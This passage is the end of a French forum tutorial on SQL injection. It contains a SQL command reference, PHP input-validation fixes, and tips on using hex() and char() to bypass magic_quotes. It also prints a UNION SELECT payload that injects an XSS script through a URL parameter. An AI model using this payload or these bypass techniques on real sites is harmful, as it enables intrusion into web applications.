    DROP TABLE -- remove a table
    DROP TRIGGER -- remove a trigger
    DROP TYPE -- remove a user-defined data type
    DROP USER -- remove a database user account
    DROP VIEW -- remove a view
    END -- commit the current transaction
    EXECUTE -- execute a prepared query
    EXPLAIN -- show the execution plan of a statement
    FETCH -- retrieve rows from a table using a cursor
    GRANT -- define access privileges
    INSERT -- create new rows in a table
    LISTEN -- listen for a notification
    LOAD -- load or reload a shared library file
    LOCK -- explicitly lock a table
    MOVE -- position a cursor on a specified row of a table
    NOTIFY -- generate a notification
    PREPARE -- create a prepared query
    REINDEX -- rebuild corrupted indexes
    RESET -- restore the value of a run-time parameter to a default value
    REVOKE -- remove access privileges
    ROLLBACK -- abort the current transaction
    SELECT -- retrieve rows from a table or view
    SELECT INTO -- create a new table from the results of a query
    SET -- change a run-time parameter
    SET CONSTRAINTS -- set the constraint mode of the current transaction
    SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
    SET TRANSACTION -- set the characteristics of the current transaction
    SHOW -- show the value of a run-time parameter
    START TRANSACTION -- start a transaction block
    TRUNCATE -- empty a table
    UNLISTEN -- stop listening for a notification
    UPDATE -- update rows of a table
    VACUUM -- garbage-collect and optionally analyze a database

    Sécurisé une SQLi

    Alors voici un code PHP pour corrigé la faille SQL :

    Citation :
    <?php
    $id = $_GET['id'];
    if (is_numeric($id)) echo "Pas de problème : $id est un nombre";
    else echo "$id n'est pas un nombre";
    ?>

    Citation :
    <?php
    $id = intval($_GET['id']);
    echo "$id est un nombre maintenant. Si l'id rentré en GET était autre chose qu'un nombre,
    alors $id serait égal a 0";
    ?>

    Blind SQL

    Voici un tuto de Clowned sur ce forum -> http://www.hacksecure.fr/Thread-Blind-SQL-Injection


    Finalisation de ce tutoriel

    Je sais que j'ai sauté pas mal de choses comme outfile, la clause WHERE, la Blind SQL, etc... Mais c'est pour les débutants.
    Aussi pour toutes les injecteurs SQL, penser d'une manière large et Hexadécimal est une partie importante de l'injection SQL.

    Parfois, les choses qui ne peuvent être fait avec des moyens normaux peut être fait en utilisant la partie hexadécimal. Soyez sûr d'essayer des choses avec char(), fonctions hex() .. Avec eux, vous pouvez bypass les magic_quotes sur le serveur .. Encore une fois, dans l'instruction UNION, vous pouvez essayer d'utiliser la faille XSS qui serait parfois utile pour vous ..

    Citation :
    site.com/article.php?id=5+UNION+ALL+SELECT+<script>
    alert("XSS via SQL injection");
    </script>,2--


    Encore une fois dans l'injection ci-dessus, vous pouvez avoir besoin d'hex jusqu'à la partie javascript pour contourner les guillemets magiques

    Aussi pour les débutants et ceux qui connaissent les petites choses, vous pouvez configurer un serveur MySQL & configurer PHP pour votre serveur Apache dans votre localhost où vous pouvez essayer différentes choses

    Dans l'interface de ligne de commande de MySQL, essayez les différentes commandes décrites ci-dessous, essayez en les modifiant, en fesant votre mix quoi x)
    Cela vous aidera à améliorer vos connaissances de commande MySQL.

    Conclusion

    Je tiens à préciser que ce tuto n'est pas de moi à la base j'ai rajouté quelques trucs mais ce tuto n'est pas de moi. Mlaheureusement, je serais incapable de vous dire de qui il est :/


    Cordialement,

    XxPrO-K1Ll3uR

      La date/heure actuelle est Jeu 8 Déc - 9:43